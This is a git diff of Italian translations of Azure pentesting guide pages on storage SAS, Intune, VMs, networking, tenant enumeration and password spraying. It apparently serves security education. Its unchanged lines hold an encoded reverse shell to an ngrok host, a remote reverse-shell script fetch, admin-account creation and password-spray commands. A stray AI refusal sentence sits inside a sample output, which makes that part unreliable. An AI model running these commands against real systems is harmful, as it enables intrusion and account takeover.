**blob e data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). È possibile **revocare** tutti i SAS delegati generati dall'utente. -- Anche se è possibile generare un SAS di delega con "più" permessi di quelli che l'utente ha. Tuttavia, se il principal non li possiede, non funzionerà (no privesc). -- **Service SAS**: Questo è firmato utilizzando una delle **chiavi di accesso** dell'account di storage. Può essere utilizzato per concedere accesso a risorse specifiche in un singolo servizio di storage. Se la chiave viene rinnovata, il SAS smetterà di funzionare. -- **Account SAS**: È anch'esso firmato con una delle **chiavi di accesso** dell'account di storage. Concede accesso a risorse attraverso i servizi di un account di storage (Blob, Queue, Table, File) e può includere operazioni a livello di servizio. +- **User delegation SAS**: Questa viene creata da un **Entra ID principal** che firmerà la SAS e delega i permessi dall'utente alla SAS. Può essere utilizzata solo con **blob e data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). È possibile **revocare** tutte le SAS delegate generate dall'utente. +- Anche se è possibile generare una SAS di delega con "più" permessi di quelli che l'utente ha. Tuttavia, se il principal non li ha, non funzionerà (no privesc). +- **Service SAS**: Questa è firmata utilizzando una delle **chiavi di accesso** dell'account di storage. Può essere utilizzata per concedere accesso a risorse specifiche in un singolo servizio di storage. Se la chiave viene rinnovata, la SAS smetterà di funzionare. +- **Account SAS**: È anch'essa firmata con una delle **chiavi di accesso** dell'account di storage. Concede accesso a risorse attraverso i servizi di un account di storage (Blob, Queue, Table, File) e può includere operazioni a livello di servizio. Un URL SAS firmato da una **chiave di accesso** appare così: @@ -163,19 +163,19 @@ Un URL SAS firmato come **user delegation** appare così: Nota alcuni **parametri http**: -- Il parametro **`se`** indica la **data di scadenza** del SAS -- Il parametro **`sp`** indica i **permessi** del SAS -- Il **`sig`** è la **firma** che convalida il SAS +- Il parametro **`se`** indica la **data di scadenza** della SAS +- Il parametro **`sp`** indica i **permessi** della SAS +- Il **`sig`** è la **firma** che convalida la SAS #### Permessi SAS -Quando si genera un SAS è necessario indicare i permessi che dovrebbe concedere. A seconda dell'oggetto su cui viene generato il SAS, potrebbero essere inclusi permessi diversi. Ad esempio: +Quando si genera una SAS è necessario indicare i permessi che dovrebbe concedere. A seconda dell'oggetto su cui viene generata la SAS, potrebbero essere inclusi permessi diversi. Ad esempio: - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete ## Supporto SFTP per Azure Blob Storage -Azure Blob Storage ora supporta il Protocollo di Trasferimento File SSH (SFTP), consentendo il trasferimento e la gestione sicura dei file direttamente su Blob Storage senza richiedere soluzioni personalizzate o prodotti di terze parti. +Azure Blob Storage ora supporta il protocollo SSH File Transfer Protocol (SFTP), consentendo il trasferimento e la gestione sicura dei file direttamente su Blob Storage senza richiedere soluzioni personalizzate o prodotti di terze parti. ### Caratteristiche principali @@ -183,12 +183,12 @@ Azure Blob Storage ora supporta il Protocollo di Trasferimento File SSH (SFTP), - Sicurezza: SFTP utilizza identità utente locali per l'autenticazione e non si integra con RBAC o ABAC. Ogni utente locale può autenticarsi tramite: - Password generate da Azure - Coppie di chiavi SSH pubbliche-private -- Permessi Granulari: Permessi come Lettura, Scrittura, Cancellazione e Elenco possono essere assegnati agli utenti locali per un massimo di 100 contenitori. +- Permessi granulari: Permessi come Lettura, Scrittura, Cancellazione e Elenco possono essere assegnati agli utenti locali per un massimo di 100 contenitori. - Considerazioni di rete: Le connessioni SFTP vengono effettuate tramite la porta 22. Azure supporta configurazioni di rete come firewall, endpoint privati o reti virtuali per proteggere il traffico SFTP. ### Requisiti di configurazione -- Namespace gerarchico: HNS deve essere abilitato durante la creazione dell'account di storage. +- Namespace gerarchico: L'HNS deve essere abilitato durante la creazione dell'account di storage. - Crittografia supportata: Richiede algoritmi crittografici approvati dal Microsoft Security Development Lifecycle (SDL) (ad es., rsa-sha2-256, ecdsa-sha2-nistp256). - Configurazione SFTP: - Abilitare SFTP sull'account di storage. @@ -199,13 +199,13 @@ Azure Blob Storage ora supporta il Protocollo di Trasferimento File SSH (SFTP), | Permesso | Simbolo | Descrizione | | --------------------- | ------- | ------------------------------------ | -| **Lettura** | `r` | Leggi il contenuto del file. | +| **Lettura** | `r` | Leggi il contenuto del file. | | **Scrittura** | `w` | Carica file e crea directory. | | **Elenco** | `l` | Elenca i contenuti delle directory. | -| **Cancellazione** | `d` | Cancella file o directory. | -| **Creazione** | `c` | Crea file o directory. | -| **Modifica Proprietà**| `o` | Cambia l'utente o il gruppo proprietario. | -| **Modifica Permessi** | `p` | Cambia le ACL su file o directory. | +| **Cancellazione** | `d` | Cancella file o directory. | +| **Creazione** | `c` | Crea file o directory. | +| **Modifica proprietà**| `o` | Cambia l'utente o il gruppo proprietario. | +| **Modifica permessi** | `p` | Cambia le ACL su file o directory. | ## Enumerazione @@ -330,7 +330,7 @@ az storage account local-user list \ {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get storage accounts Get-AzStorageAccount | fl # Get rules to access the storage account diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md index 58ce5c471..ae7313bad 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md @@ -13,16 +13,16 @@ Non **c'è un meccanismo di backup integrato** per l'archiviazione delle tabelle #### **PartitionKey** - Il **PartitionKey raggruppa le entità in partizioni logiche**. Le entità con lo stesso PartitionKey sono memorizzate insieme, il che migliora le prestazioni delle query e la scalabilità. -- Esempio: In una tabella che memorizza i dati dei dipendenti, il `PartitionKey` potrebbe rappresentare un dipartimento, ad esempio, `"HR"` o `"IT"`. +- Esempio: In una tabella che memorizza i dati dei dipendenti, `PartitionKey` potrebbe rappresentare un dipartimento, ad esempio, `"HR"` o `"IT"`. #### **RowKey** - Il **RowKey è l'identificatore unico** per un'entità all'interno di una partizione. Quando combinato con il PartitionKey, garantisce che ogni entità nella tabella abbia un identificatore globalmente unico. -- Esempio: Per la partizione `"HR"`, il `RowKey` potrebbe essere un ID dipendente, ad esempio, `"12345"`. +- Esempio: Per la partizione `"HR"`, `RowKey` potrebbe essere un ID dipendente, ad esempio, `"12345"`. #### **Altre Proprietà (Proprietà Personalizzate)** -- Oltre al PartitionKey e al RowKey, un'entità può avere ulteriori **proprietà personalizzate per memorizzare dati**. Queste sono definite dall'utente e fungono da colonne in un database tradizionale. +- Oltre al PartitionKey e al RowKey, un'entità può avere ulteriori **proprietà personalizzate per memorizzare dati**. Queste sono definite dall'utente e agiscono come colonne in un database tradizionale. - Le proprietà sono memorizzate come **coppie chiave-valore**. - Esempio: `Name`, `Age`, `Title` potrebbero essere proprietà personalizzate per un dipendente. @@ -63,7 +63,7 @@ az storage entity merge \ ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # Get storage accounts Get-AzStorageAccount diff --git a/src/pentesting-cloud/azure-security/az-services/intune.md b/src/pentesting-cloud/azure-security/az-services/intune.md index 66f253735..a854b8c5c 100644 --- a/src/pentesting-cloud/azure-security/az-services/intune.md +++ b/src/pentesting-cloud/azure-security/az-services/intune.md @@ -10,20 +10,20 @@ Microsoft Intune è progettato per semplificare il processo di **gestione delle Un utente con ruolo di **Global Administrator** o **Intune Administrator** può eseguire **PowerShell** script su qualsiasi **dispositivo Windows** registrato.\ Lo **script** viene eseguito con **privilegi** di **SYSTEM** sul dispositivo solo una volta se non cambia, e da Intune **non è possibile vedere l'output** dello script. -```powershell +```bash Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" ``` -1. Accedi a [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) o utilizza Pass-The-PRT -2. Vai a **Dispositivi** -> **Tutti i dispositivi** per controllare i dispositivi registrati in Intune -3. Vai a **Script** e fai clic su **Aggiungi** per Windows 10. -4. Aggiungi uno **script Powershell** -- ![](<../../../images/image (264).png>) -5. Specifica **Aggiungi tutti gli utenti** e **Aggiungi tutti i dispositivi** nella pagina **Assegnazioni**. +1. Accedi a [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) o utilizza Pass-The-PRT +2. Vai a **Dispositivi** -> **Tutti i dispositivi** per controllare i dispositivi registrati in Intune +3. Vai a **Script** e fai clic su **Aggiungi** per Windows 10. +4. Aggiungi uno **script Powershell** +- ![](<../../../images/image (264).png>) +5. Specifica **Aggiungi tutti gli utenti** e **Aggiungi tutti i dispositivi** nella pagina **Assegnazioni**. -L'esecuzione dello script può richiedere fino a **un'ora**. +L'esecuzione dello script può richiedere fino a **un'ora**. -## Riferimenti +## Riferimenti -- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune) +- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 671a20a3e..ba2b87b4a 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -28,13 +28,13 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on - **Nessuno**: Apre fondamentalmente ogni porta - **Base**: Consente di aprire facilmente le porte in entrata HTTP (80), HTTPS (443), SSH (22), RDP (3389) - **Avanzato**: Seleziona un gruppo di sicurezza -- **Backup**: È possibile abilitare il backup **Standard** (uno al giorno) e **Potenziato** (multipli al giorno) +- **Backup**: È possibile abilitare il backup **Standard** (una volta al giorno) e **Potenziato** (più volte al giorno) - **Opzioni di orchestrazione delle patch**: Questo consente di applicare automaticamente le patch nelle VM secondo la politica selezionata come descritto nei [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching). - **Avvisi**: È possibile ricevere automaticamente avvisi via email o app mobile quando accade qualcosa nella VM. Regole predefinite: - Percentuale CPU superiore all'80% - Byte di Memoria Disponibile inferiori a 1GB -- Percentuale di IOPS Consumato dai Dischi Dati superiore al 95% -- Percentuale di IOPS Consumato dal SO superiore al 95% +- Percentuale di IOPS Consumi dei Dischi Dati superiore al 95% +- Percentuale di IOPS Consumi del SO superiore al 95% - Rete in Totale superiore a 500GB - Rete Out Totale superiore a 200GB - VmAvailabilityMetric inferiore a 1 @@ -47,11 +47,11 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on - È possibile **abilitare l'attacco di un disco a 2 o più VM** - Per impostazione predefinita, ogni disco è **crittografato** con una chiave della piattaforma. -- Stesso discorso per gli snapshot +- Stesso per gli snapshot - Per impostazione predefinita, è possibile **condividere il disco da tutte le reti**, ma può anche essere **ristretto** solo a determinati **accessi privati** o **disabilitare completamente** l'accesso pubblico e privato. -- Stesso discorso per gli snapshot +- Stesso per gli snapshot - È possibile **generare un URI SAS** (di max 60 giorni) per **esportare il disco**, che può essere configurato per richiedere autenticazione o meno -- Stesso discorso per gli snapshot +- Stesso per gli snapshot {{#tabs}} {{#tab name="az cli"}} @@ -64,7 +64,7 @@ az disk show --name --resource-group ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # List all disks Get-AzDisk @@ -76,7 +76,7 @@ Get-AzDisk -Name -ResourceGroupName ## Immagini, Immagini della Galleria e Punti di Ripristino -Un **immagine VM** è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per **creare una nuova macchina virtuale (VM)**. La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per backup o risoluzione dei problemi, mentre un'immagine può contenere **più dischi ed è progettata per servire come modello per la creazione di nuove VM**.\ +Un **VM image** è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per **creare una nuova macchina virtuale (VM)**. La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per backup o risoluzione dei problemi, mentre un'immagine può contenere **più dischi ed è progettata per servire come modello per la creazione di nuove VM**.\ Le immagini possono essere gestite nella **sezione Immagini** di Azure o all'interno delle **gallerie di calcolo di Azure**, che consentono di generare **versioni** e **condividere** l'immagine tra tenant o addirittura renderla pubblica. Un **punto di ripristino** memorizza la configurazione della VM e **snapshot** dell'applicazione **coerenti nel tempo** di tutti i dischi gestiti collegati alla VM. È correlato alla VM e il suo scopo è quello di poter ripristinare quella VM a come era in quel specifico momento. @@ -116,7 +116,7 @@ az restore-point collection show --collection-name --resource- ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash ## List all galleries and get info about one Get-AzGallery Get-AzGallery -Name -ResourceGroupName @@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -PublisherName -Type ``` @@ -478,7 +478,7 @@ az vm extension set \ --settings '{}' \ --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` -- Esegui uno script situato su Internet +- Eseguire uno script situato su Internet ```bash az vm extension set \ --resource-group rsc-group> \ @@ -520,10 +520,10 @@ az vm extension set \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` -Potresti anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` +Puoi anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Reimposta la password utilizzando l'estensione VMAccess -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -540,7 +540,7 @@ Il permesso richiesto è ancora **`Microsoft.Compute/virtualMachines/extensions/ Estensione VMAccess Questa estensione consente di modificare la password (o crearla se non esiste) degli utenti all'interno delle VM Windows. -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -551,8 +551,8 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) -Questa è un **estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione: -```powershell +Questa è un'**estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione: +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -727,7 +727,7 @@ Questi sono **dati persistenti** che possono essere recuperati dall'endpoint dei È possibile passare alcuni dati alla VM che saranno memorizzati nei percorsi previsti: -- In **Windows**, i dati personalizzati vengono posizionati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati. +- In **Windows**, i dati personalizzati sono collocati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati. - In **Linux**, erano memorizzati in `/var/lib/waagent/ovf-env.xml` e ora sono memorizzati in `/var/lib/waagent/CustomData/ovf-env.xml` - **Agente Linux**: Non elabora i dati personalizzati per impostazione predefinita, è necessaria un'immagine personalizzata con i dati abilitati - **cloud-init:** Per impostazione predefinita elabora i dati personalizzati e questi dati possono essere in [**diversi formati**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Potrebbe eseguire uno script facilmente inviando semplicemente lo script nei dati personalizzati. diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index a8f090dd6..9ab71a095 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -5,11 +5,11 @@ ## Informazioni di Base Azure fornisce **reti virtuali (VNet)** che consentono agli utenti di creare **reti isolate** all'interno del cloud Azure. All'interno di queste VNet, risorse come macchine virtuali, applicazioni, database... possono essere ospitate e gestite in modo sicuro. Il networking in Azure supporta sia la comunicazione all'interno del cloud (tra i servizi Azure) sia la connessione a reti esterne e a Internet.\ -Inoltre, è possibile **connettere** le VNet con altre VNet e con reti on-premise. +Inoltre, è possibile **collegare** le VNet con altre VNet e con reti on-premise. ## Rete Virtuale (VNET) e Sottoreti -Una Rete Virtuale di Azure (VNet) è una rappresentazione della tua rete nel cloud, che fornisce **isolamento logico** all'interno dell'ambiente Azure dedicato alla tua sottoscrizione. Le VNet ti consentono di fornire e gestire reti private virtuali (VPN) in Azure, ospitando risorse come Macchine Virtuali (VM), database e servizi applicativi. Offrono **controllo completo sulle impostazioni di rete**, inclusi intervalli di indirizzi IP, creazione di sottoreti, tabelle di routing e gateway di rete. +Una Rete Virtuale di Azure (VNet) è una rappresentazione della tua rete nel cloud, che fornisce **isolamento logico** all'interno dell'ambiente Azure dedicato alla tua sottoscrizione. Le VNet ti consentono di fornire e gestire reti private virtuali (VPN) in Azure, ospitando risorse come Macchine Virtuali (VM), database e servizi applicativi. Offrono **pieno controllo sulle impostazioni di rete**, inclusi intervalli di indirizzi IP, creazione di sottoreti, tabelle di routing e gateway di rete. Le **sottoreti** sono suddivisioni all'interno di una VNet, definite da specifici **intervalli di indirizzi IP**. Segmentando una VNet in più sottoreti, puoi organizzare e proteggere le risorse in base alla tua architettura di rete.\ Per impostazione predefinita, tutte le sottoreti all'interno della stessa Rete Virtuale di Azure (VNet) **possono comunicare tra loro** senza alcuna restrizione. @@ -35,7 +35,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName @@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name -ResourceGroupName --re ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Azure Firewalls Get-AzFirewall @@ -159,7 +159,7 @@ az network route-table route list --route-table-name --resource ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Route Tables Get-AzRouteTable @@ -180,7 +180,7 @@ Private Link può essere utilizzato con vari servizi Azure, come Azure Storage, **Esempio:** -Considera uno scenario in cui hai un **Azure SQL Database a cui desideri accedere in modo sicuro dalla tua VNet**. Normalmente, questo potrebbe comportare il passaggio attraverso Internet pubblico. Con Private Link, puoi creare un **endpoint privato nella tua VNet** che si collega direttamente al servizio Azure SQL Database. Questo endpoint fa apparire il database come se fosse parte della tua VNet, accessibile tramite un indirizzo IP privato, garantendo così un accesso sicuro e privato. +Considera uno scenario in cui hai un **Azure SQL Database che desideri accedere in modo sicuro dalla tua VNet**. Normalmente, questo potrebbe comportare il passaggio attraverso Internet pubblico. Con Private Link, puoi creare un **endpoint privato nella tua VNet** che si collega direttamente al servizio Azure SQL Database. Questo endpoint fa apparire il database come se fosse parte della tua VNet, accessibile tramite un indirizzo IP privato, garantendo così un accesso sicuro e privato. ### **Enumerazione** @@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Private Link Services Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName @@ -226,7 +226,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName - ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List the Web Application Firewall configurations for your Application Gateways (Get-AzApplicationGateway -Name -ResourceGroupName ).WebApplicationFirewallConfiguration ``` {{#endtab }} {{#endtabs }} -## Azure Hub, Spoke e VNet Peering +## Azure Hub, Spoke & VNet Peering **VNet Peering** è una funzionalità di rete in Azure che **consente a diverse Reti Virtuali (VNets) di essere collegate direttamente e senza soluzione di continuità**. Attraverso il VNet peering, le risorse in una VNet possono comunicare con le risorse in un'altra VNet utilizzando indirizzi IP privati, **come se fossero nella stessa rete**.\ **Il VNet Peering può essere utilizzato anche con reti on-prem** configurando una VPN site-to-site o Azure ExpressRoute. -**Azure Hub e Spoke** è una topologia di rete utilizzata in Azure per gestire e organizzare il traffico di rete. **L'"hub" è un punto centrale che controlla e instrada il traffico tra i diversi "spoke"**. L'hub contiene tipicamente servizi condivisi come appliance virtuali di rete (NVA), Azure VPN Gateway, Azure Firewall o Azure Bastion. Gli **"spoke" sono VNets che ospitano carichi di lavoro e si connettono all'hub utilizzando il VNet peering**, consentendo loro di sfruttare i servizi condivisi all'interno dell'hub. Questo modello promuove un layout di rete pulito, riducendo la complessità centralizzando i servizi comuni che più carichi di lavoro su diverse VNets possono utilizzare. +**Azure Hub and Spoke** è una topologia di rete utilizzata in Azure per gestire e organizzare il traffico di rete. **L'"hub" è un punto centrale che controlla e instrada il traffico tra i diversi "spoke"**. L'hub contiene tipicamente servizi condivisi come appliance virtuali di rete (NVA), Azure VPN Gateway, Azure Firewall o Azure Bastion. Gli **"spoke" sono VNets che ospitano carichi di lavoro e si connettono all'hub utilizzando il VNet peering**, consentendo loro di sfruttare i servizi condivisi all'interno dell'hub. Questo modello promuove un layout di rete pulito, riducendo la complessità centralizzando i servizi comuni che più carichi di lavoro su diverse VNets possono utilizzare. > [!CAUTION] > **Il VNET peering non è transitivo in Azure**, il che significa che se lo spoke 1 è connesso allo spoke 2 e lo spoke 2 è connesso allo spoke 3, allora lo spoke 1 non può comunicare direttamente con lo spoke 3. **Esempio:** -Immagina un'azienda con dipartimenti separati come Vendite, Risorse Umane e Sviluppo, **ognuno con la propria VNet (gli spoke)**. Queste VNet **richiedono accesso a risorse condivise** come un database centrale, un firewall e un gateway internet, che si trovano tutti in **un'altra VNet (l'hub)**. Utilizzando il modello Hub e Spoke, ogni dipartimento può **connettersi in modo sicuro alle risorse condivise attraverso l'hub VNet senza esporre quelle risorse a internet pubblico** o creare una struttura di rete complessa con numerose connessioni. +Immagina un'azienda con dipartimenti separati come Vendite, Risorse Umane e Sviluppo, **ognuno con la propria VNet (gli spoke)**. Queste VNet **richiedono accesso a risorse condivise** come un database centrale, un firewall e un gateway internet, che si trovano tutti in **un'altra VNet (l'hub)**. Utilizzando il modello Hub e Spoke, ogni dipartimento può **connettersi in modo sicuro alle risorse condivise attraverso l'hub VNet senza esporre quelle risorse a Internet pubblico** o creare una struttura di rete complessa con numerose connessioni. -### Enumerazione +### Enumeration {{#tabs }} {{#tab name="az cli" }} @@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List all VNets in your subscription Get-AzVirtualNetwork @@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name --resource-group ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List VPN Gateways Get-AzVirtualNetworkGateway -ResourceGroupName @@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List ExpressRoute Circuits Get-AzExpressRouteCircuit ``` diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md index b6a37119a..a919a01ca 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md @@ -14,10 +14,10 @@ Puoi interrogare direttamente l'API o utilizzare la libreria PowerShell [**AADIn | login.microsoftonline.com/\/.well-known/openid-configuration | **Informazioni di accesso**, incluso l'ID del tenant | `Get-AADIntTenantID -Domain ` | | autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Tutti i domini** del tenant | `Get-AADIntTenantDomains -Domain ` | | login.microsoftonline.com/GetUserRealm.srf?login=\ |

Informazioni di accesso del tenant, incluso il nome del tenant e il tipo di autenticazione del dominio.
Se NameSpaceType è Managed, significa che è utilizzato AzureAD.

| `Get-AADIntLoginInformation -UserName ` | -| login.microsoftonline.com/common/GetCredentialType | Informazioni di accesso, inclusa **informazioni SSO Desktop** | `Get-AADIntLoginInformation -UserName ` | +| login.microsoftonline.com/common/GetCredentialType | Informazioni di accesso, inclusa **l'informazione SSO Desktop** | `Get-AADIntLoginInformation -UserName ` | Puoi interrogare tutte le informazioni di un tenant Azure con **solo un comando della** [**libreria AADInternals**](https://github.com/Gerenios/AADInternals): -```powershell +```bash Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table ``` Esempio di informazioni sul tenant Azure: @@ -46,8 +46,8 @@ Inoltre, l'output presenta i nomi di tutti i domini verificati associati al tena ``` L'email è l'indirizzo email dell'utente dove "@" è sostituito con un underscore "\_". -Con [**AADInternals**](https://github.com/Gerenios/AADInternals), puoi facilmente verificare se l'utente esiste o meno: -```powershell +Con [**AADInternals**](https://github.com/Gerenios/AADInternals), puoi facilmente controllare se l'utente esiste o meno: +```bash # Check does the user exist Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com" ``` @@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com external.user_outlook.com#EXT#@company.onmicrosoft.com ``` -```powershell +```bash # Invoke user enumeration Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal ``` @@ -76,15 +76,15 @@ Ci sono **tre diversi metodi di enumerazione** tra cui scegliere: | Metodo | Descrizione | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Normale | Questo si riferisce all'API GetCredentialType menzionata sopra. Il metodo predefinito. | -| Accesso |

Questo metodo cerca di accedere come utente.
Nota: le query verranno registrate nel registro degli accessi.

| -| Autologon |

Questo metodo cerca di accedere come utente tramite l'endpoint di autologon.
Le query non vengono registrate nel registro degli accessi! Pertanto, funziona bene anche per attacchi di password spray e brute-force.

| +| Accesso |

Questo metodo tenta di accedere come utente.
Nota: le query verranno registrate nel registro degli accessi.

| +| Autologon |

Questo metodo tenta di accedere come utente tramite l'endpoint di autologon.
Le query non vengono registrate nel registro degli accessi! Pertanto, funziona bene anche per attacchi di password spray e brute-force.

| Dopo aver scoperto i nomi utente validi, puoi ottenere **info su un utente** con: -```powershell +```bash Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com ``` Lo script [**o365creeper**](https://github.com/LMGsec/o365creeper) consente anche di scoprire **se un'email è valida**. -```powershell +```bash # Put in emails.txt emails such as: # - root@corp.onmicrosoft.com python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt @@ -168,19 +168,19 @@ I'm sorry, but I cannot provide the content you requested. ] } ``` -## Azure Services +## Servizi Azure -Sappiamo che i **domini utilizzati dal tenant Azure** è tempo di provare a trovare i **servizi Azure esposti**. +Sappi che ora che conosci i **domini utilizzati dal tenant Azure** è tempo di cercare **servizi Azure esposti**. Puoi utilizzare un metodo da [**MicroBust**](https://github.com/NetSPI/MicroBurst) per tale scopo. Questa funzione cercherà il nome di dominio di base (e alcune permutazioni) in diversi **domini di servizi Azure:** -```powershell +```bash Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose Invoke-EnumerateAzureSubDomains -Base corp -Verbose ``` ## Open Storage -Puoi scoprire storage aperti con uno strumento come [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) che utilizzerà il file **`Microburst/Misc/permitations.txt`** per generare permutazioni (molto semplici) per cercare di **trovare account di storage aperti**. -```powershell +Puoi scoprire storage aperti con uno strumento come [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) che utilizzerà il file **`Microburst/Misc/permitations.txt`** per generare permutazioni (molto semplici) per provare a **trovare account di storage aperti**. +```bash Import-Module .\MicroBurst\MicroBurst.psm1 Invoke-EnumerateAzureBlobs -Base corp [...] diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md index 7913d19ee..1a2b453e2 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md @@ -9,7 +9,7 @@ In **Azure** questo può essere fatto contro **diversi endpoint API** come Azure Tuttavia, nota che questa tecnica è **molto rumorosa** e il Blue Team può **catturarla facilmente**. Inoltre, la **complessità della password forzata** e l'uso di **MFA** possono rendere questa tecnica piuttosto inutile. Puoi eseguire un attacco di password spray con [**MSOLSpray**](https://github.com/dafthack/MSOLSpray) -```powershell +```bash . .\MSOLSpray\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose ``` @@ -18,7 +18,7 @@ O con [**o365spray**](https://github.com/0xZDH/o365spray) python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com ``` O con 